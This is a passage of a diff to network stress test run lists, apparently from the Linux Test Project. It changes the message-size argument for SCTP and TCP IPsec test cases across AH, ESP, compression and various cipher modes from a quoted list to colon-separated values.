-sctp4_ipsec20 sctp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65535"
-sctp4_ipsec21 sctp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec22 sctp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65535"
-sctp4_ipsec23 sctp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec24 sctp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65535"
-sctp4_ipsec25 sctp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec26 sctp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s "100 1000 65535"
-sctp4_ipsec27 sctp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
-sctp4_ipsec28 sctp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s "100 1000 65535"
-sctp4_ipsec29 sctp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
-sctp4_ipsec30 sctp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s "100 1000 65535"
-sctp4_ipsec31 sctp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
-sctp4_ipsec32 sctp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s "100 1000 65535"
-sctp4_ipsec33 sctp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
-sctp4_ipsec34 sctp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s "100 1000 65535"
-sctp4_ipsec35 sctp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
-sctp4_ipsec36 sctp_ipsec.sh -p esp -m beet -s "100 1000 65535"
+sctp4_ipsec01 sctp_ipsec.sh -s 100:1000:65535
+sctp4_ipsec02 sctp_ipsec.sh -p ah -m transport -s 100:1000:65535
+sctp4_ipsec03 sctp_ipsec.sh -p ah -m tunnel -s 100:1000:65535
+sctp4_ipsec04 sctp_ipsec.sh -p esp -m transport -s 100:1000:65535
+sctp4_ipsec05 sctp_ipsec.sh -p esp -m tunnel -s 100:1000:65535
+sctp4_ipsec06 sctp_ipsec.sh -p comp -m transport -s 100:1000:65535
+sctp4_ipsec07 sctp_ipsec.sh -p comp -m tunnel -s 100:1000:65535
+sctp4_ipsec08 sctp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s 100:1000:65535
+sctp4_ipsec09 sctp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec10 sctp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s 100:1000:65535
+sctp4_ipsec11 sctp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec12 sctp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s 100:1000:65535
+sctp4_ipsec13 sctp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec14 sctp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s 100:1000:65535
+sctp4_ipsec15 sctp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec16 sctp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s 100:1000:65535
+sctp4_ipsec17 sctp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec18 sctp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s 100:1000:65535
+sctp4_ipsec19 sctp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec20 sctp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s 100:1000:65535
+sctp4_ipsec21 sctp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec22 sctp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s 100:1000:65535
+sctp4_ipsec23 sctp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec24 sctp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s 100:1000:65535
+sctp4_ipsec25 sctp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec26 sctp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s 100:1000:65535
+sctp4_ipsec27 sctp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65535
+sctp4_ipsec28 sctp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s 100:1000:65535
+sctp4_ipsec29 sctp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65535
+sctp4_ipsec30 sctp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s 100:1000:65535
+sctp4_ipsec31 sctp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65535
+sctp4_ipsec32 sctp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s 100:1000:65535
+sctp4_ipsec33 sctp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65535
+sctp4_ipsec34 sctp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s 100:1000:65535
+sctp4_ipsec35 sctp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65535
+sctp4_ipsec36 sctp_ipsec.sh -p esp -m beet -s 100:1000:65535
 
-sctp6_ipsec01 sctp_ipsec.sh -6 -s "100 1000 65535"
-sctp6_ipsec02 sctp_ipsec.sh -6 -p ah -m transport -s "100 1000 65535"
-sctp6_ipsec03 sctp_ipsec.sh -6 -p ah -m tunnel -s "100 1000 65535"
-sctp6_ipsec04 sctp_ipsec.sh -6 -p esp -m transport -s "100 1000 65535"
-sctp6_ipsec05 sctp_ipsec.sh -6 -p esp -m tunnel -s "100 1000 65535"
-sctp6_ipsec06 sctp_ipsec.sh -6 -p comp -m transport -s "100 1000 65535"
-sctp6_ipsec07 sctp_ipsec.sh -6 -p comp -m tunnel -s "100 1000 65535"
-sctp6_ipsec08 sctp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65535"
-sctp6_ipsec09 sctp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec10 sctp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65535"
-sctp6_ipsec11 sctp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec12 sctp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65535"
-sctp6_ipsec13 sctp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec14 sctp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65535"
-sctp6_ipsec15 sctp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec16 sctp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65535"
-sctp6_ipsec17 sctp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec18 sctp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65535"
-sctp6_ipsec19 sctp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec20 sctp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65535"
-sctp6_ipsec21 sctp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec22 sctp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65535"
-sctp6_ipsec23 sctp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec24 sctp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65535"
-sctp6_ipsec25 sctp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec26 sctp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s "100 1000 65535"
-sctp6_ipsec27 sctp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
-sctp6_ipsec28 sctp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s "100 1000 65535"
-sctp6_ipsec29 sctp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
-sctp6_ipsec30 sctp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s "100 1000 65535"
-sctp6_ipsec31 sctp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
-sctp6_ipsec32 sctp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s "100 1000 65535"
-sctp6_ipsec33 sctp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
-sctp6_ipsec34 sctp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s "100 1000 65535"
-sctp6_ipsec35 sctp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
-sctp6_ipsec36 sctp_ipsec.sh -6 -p esp -m beet -s "100 1000 65535"
+sctp6_ipsec01 sctp_ipsec.sh -6 -s 100:1000:65535
+sctp6_ipsec02 sctp_ipsec.sh -6 -p ah -m transport -s 100:1000:65535
+sctp6_ipsec03 sctp_ipsec.sh -6 -p ah -m tunnel -s 100:1000:65535
+sctp6_ipsec04 sctp_ipsec.sh -6 -p esp -m transport -s 100:1000:65535
+sctp6_ipsec05 sctp_ipsec.sh -6 -p esp -m tunnel -s 100:1000:65535
+sctp6_ipsec06 sctp_ipsec.sh -6 -p comp -m transport -s 100:1000:65535
+sctp6_ipsec07 sctp_ipsec.sh -6 -p comp -m tunnel -s 100:1000:65535
+sctp6_ipsec08 sctp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s 100:1000:65535
+sctp6_ipsec09 sctp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec10 sctp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s 100:1000:65535
+sctp6_ipsec11 sctp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec12 sctp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s 100:1000:65535
+sctp6_ipsec13 sctp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec14 sctp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s 100:1000:65535
+sctp6_ipsec15 sctp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec16 sctp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s 100:1000:65535
+sctp6_ipsec17 sctp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec18 sctp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s 100:1000:65535
+sctp6_ipsec19 sctp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec20 sctp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s 100:1000:65535
+sctp6_ipsec21 sctp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec22 sctp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s 100:1000:65535
+sctp6_ipsec23 sctp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec24 sctp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s 100:1000:65535
+sctp6_ipsec25 sctp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec26 sctp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s 100:1000:65535
+sctp6_ipsec27 sctp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65535
+sctp6_ipsec28 sctp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s 100:1000:65535
+sctp6_ipsec29 sctp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65535
+sctp6_ipsec30 sctp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s 100:1000:65535
+sctp6_ipsec31 sctp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65535
+sctp6_ipsec32 sctp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s 100:1000:65535
+sctp6_ipsec33 sctp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65535
+sctp6_ipsec34 sctp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s 100:1000:65535
+sctp6_ipsec35 sctp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65535
+sctp6_ipsec36 sctp_ipsec.sh -6 -p esp -m beet -s 100:1000:65535
 
-sctp4_ipsec_vti01 sctp_ipsec_vti.sh -p ah -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti02 sctp_ipsec_vti.sh -p esp -m tunnel -s "100 1000 65535"
-# sctp4_ipsec_vti03 sctp_ipsec_vti.sh -p comp -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti04 sctp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti05 sctp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti06 sctp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti07 sctp_ipsec_vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti08 sctp_ipsec_vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti09 sctp_ipsec_vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti10 sctp_ipsec_vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti11 sctp_ipsec_vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti12 sctp_ipsec_vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti13 sctp_ipsec_vti.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti14 sctp_ipsec_vti.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti15 sctp_ipsec_vti.sh -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti16 sctp_ipsec_vti.sh -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
-sctp4_ipsec_vti17 sctp_ipsec_vti.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
+sctp4_ipsec_vti01 sctp_ipsec_vti.sh -p ah -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti02 sctp_ipsec_vti.sh -p esp -m tunnel -s 100:1000:65535
+# sctp4_ipsec_vti03 sctp_ipsec_vti.sh -p comp -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti04 sctp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti05 sctp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti06 sctp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti07 sctp_ipsec_vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti08 sctp_ipsec_vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti09 sctp_ipsec_vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti10 sctp_ipsec_vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti11 sctp_ipsec_vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti12 sctp_ipsec_vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti13 sctp_ipsec_vti.sh -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti14 sctp_ipsec_vti.sh -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti15 sctp_ipsec_vti.sh -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti16 sctp_ipsec_vti.sh -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65535
+sctp4_ipsec_vti17 sctp_ipsec_vti.sh -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65535
 
-sctp6_ipsec_vti01 sctp_ipsec_vti.sh -6 -p ah -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti02 sctp_ipsec_vti.sh -6 -p esp -m tunnel -s "100 1000 65535"
-# sctp6_ipsec_vti03 sctp_ipsec_vti.sh -6 -p comp -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti04 sctp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti05 sctp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti06 sctp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti07 sctp_ipsec_vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti08 sctp_ipsec_vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti09 sctp_ipsec_vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti10 sctp_ipsec_vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti11 sctp_ipsec_vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti12 sctp_ipsec_vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti13 sctp_ipsec_vti.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti14 sctp_ipsec_vti.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti15 sctp_ipsec_vti.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti16 sctp_ipsec_vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
-sctp6_ipsec_vti17 sctp_ipsec_vti.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
+sctp6_ipsec_vti01 sctp_ipsec_vti.sh -6 -p ah -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti02 sctp_ipsec_vti.sh -6 -p esp -m tunnel -s 100:1000:65535
+# sctp6_ipsec_vti03 sctp_ipsec_vti.sh -6 -p comp -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti04 sctp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti05 sctp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti06 sctp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti07 sctp_ipsec_vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti08 sctp_ipsec_vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti09 sctp_ipsec_vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti10 sctp_ipsec_vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti11 sctp_ipsec_vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti12 sctp_ipsec_vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti13 sctp_ipsec_vti.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti14 sctp_ipsec_vti.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti15 sctp_ipsec_vti.sh -6 -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti16 sctp_ipsec_vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65535
+sctp6_ipsec_vti17 sctp_ipsec_vti.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65535
diff --git a/runtest/net_stress.ipsec_tcp b/runtest/net_stress.ipsec_tcp
index 30e0f4a..ae52de5 100644
--- a/runtest/net_stress.ipsec_tcp
+++ b/runtest/net_stress.ipsec_tcp
@@ -1,109 +1,109 @@
-tcp4_ipsec01 tcp_ipsec.sh -s "100 1000 65535"
-tcp4_ipsec02 tcp_ipsec.sh -p ah -m transport -s "100 1000 65535"
-tcp4_ipsec03 tcp_ipsec.sh -p ah -m tunnel -s "100 1000 65535"
-tcp4_ipsec04 tcp_ipsec.sh -p esp -m transport -s "100 1000 65535"
-tcp4_ipsec05 tcp_ipsec.sh -p esp -m tunnel -s "100 1000 65535"
-tcp4_ipsec06 tcp_ipsec.sh -p comp -m transport -s "100 1000 65535"
-tcp4_ipsec07 tcp_ipsec.sh -p comp -m tunnel -s "100 1000 65535"
-tcp4_ipsec08 tcp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s "100 1000 65535"
-tcp4_ipsec09 tcp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec10 tcp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s "100 1000 65535"
-tcp4_ipsec11 tcp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec12 tcp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s "100 1000 65535"
-tcp4_ipsec13 tcp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec14 tcp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s "100 1000 65535"
-tcp4_ipsec15 tcp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec16 tcp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s "100 1000 65535"
-tcp4_ipsec17 tcp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec18 tcp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s "100 1000 65535"
-tcp4_ipsec19 tcp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec20 tcp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s "100 1000 65535"
-tcp4_ipsec21 tcp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec22 tcp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s "100 1000 65535"
-tcp4_ipsec23 tcp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec24 tcp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s "100 1000 65535"
-tcp4_ipsec25 tcp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65535"
-tcp4_ipsec26 tcp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s "100 1000 65535"
-tcp4_ipsec27 tcp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65535"
-tcp4_ipsec28 tcp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s "100 1000 65535"
-tcp4_ipsec29 tcp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65535"
-tcp4_ipsec30 tcp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s "100 1000 65535"
-tcp4_ipsec31 tcp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65535"
-tcp4_ipsec32 tcp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s "100 1000 65535"
-tcp4_ipsec33 tcp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65535"
-tcp4_ipsec34 tcp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s "100 1000 65535"
-tcp4_ipsec35 tcp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65535"
-tcp4_ipsec36 tcp_ipsec.sh -p esp -m beet -s "100 1000 65535"
+tcp4_ipsec01 tcp_ipsec.sh -s 100:1000:65535
+tcp4_ipsec02 tcp_ipsec.sh -p ah -m transport -s 100:1000:65535
+tcp4_ipsec03 tcp_ipsec.sh -p ah -m tunnel -s 100:1000:65535
+tcp4_ipsec04 tcp_ipsec.sh -p esp -m transport -s 100:1000:65535
+tcp4_ipsec05 tcp_ipsec.sh -p esp -m tunnel -s 100:1000:65535
+tcp4_ipsec06 tcp_ipsec.sh -p comp -m transport -s 100:1000:65535
+tcp4_ipsec07 tcp_ipsec.sh -p comp -m tunnel -s 100:1000:65535
+tcp4_ipsec08 tcp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s 100:1000:65535
+tcp4_ipsec09 tcp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec10 tcp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s 100:1000:65535
+tcp4_ipsec11 tcp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec12 tcp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s 100:1000:65535
+tcp4_ipsec13 tcp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec14 tcp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s 100:1000:65535
+tcp4_ipsec15 tcp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec16 tcp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s 100:1000:65535
+tcp4_ipsec17 tcp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec18 tcp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s 100:1000:65535
+tcp4_ipsec19 tcp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec20 tcp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s 100:1000:65535
+tcp4_ipsec21 tcp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec22 tcp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s 100:1000:65535
+tcp4_ipsec23 tcp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec24 tcp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s 100:1000:65535
+tcp4_ipsec25 tcp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65535
+tcp4_ipsec26 tcp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s 100:1000:65535
+tcp4_ipsec27 tcp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65535
+tcp4_ipsec28 tcp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s 100:1000:65535
+tcp4_ipsec29 tcp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65535
+tcp4_ipsec30 tcp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s 100:1000:65535
+tcp4_ipsec31 tcp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65535
+tcp4_ipsec32 tcp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s 100:1000:65535
+tcp4_ipsec33 tcp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65535
+tcp4_ipsec34 tcp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s 100:1000:65535
+tcp4_ipsec35 tcp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65535
